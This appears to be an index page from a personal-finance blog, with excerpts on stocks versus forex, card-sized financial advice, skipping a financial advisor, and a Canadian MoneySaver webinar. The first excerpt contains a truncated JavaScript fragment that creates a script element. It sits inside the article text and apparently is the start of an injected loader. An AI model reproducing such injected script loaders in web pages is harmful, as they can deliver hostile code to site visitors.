Stocks vs Forex: A Comparative Guide

In this day in age, investors have many options on where to allocate their money to watch it grow – two of the most popular: Stocks and forex. Deciding which market to participate in can be difficult, making it essential to understand the difference between the two of them. jQuery(window).load(function(){ var s = document.createElement("script"); s.type = "text/javascript"; ...

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How Good Is Financial Advice From a 3×5 Card?

Saving money and investing for your future are a part of what we’ve all learned through the years. What’s interesting is that this seems to be a lot harder than you’d think. If you have at least $5K in a savings account, you’re probably doing better than most of your friends, but why is that?  Maybe a little financial advice from a 3×5 card can help. Tamila McDonaldTamila...

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Posted in: Credit and Debt, Money, Personal Finance, Saving Money

Five Reasons You Don’t Need a Financial Advisor

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  A few days ago I brought up a few of the benefits of using a financial advisor or planner. But is a financial advisor really necessary? Maybe not. Here are five reasons why you don’t need a financial advisor. 1. Many are commission-based. A number of financial advisors work on commission, making a percentage of their money on trades you may or may not need. If you’re working...

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Canadian MoneySaver Webinar

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Dear readers, It’s not too long ago that I started connecting with you here on the Outlier Model. You may not know that I am also a financial writer for a magazine called the Canadian MoneySaver. Oddly enough I began reading this magazine when I was in my late twenties. Some 20 years later I’m writing articles for them, presented at one of their conferences, and now doing my first webinar...

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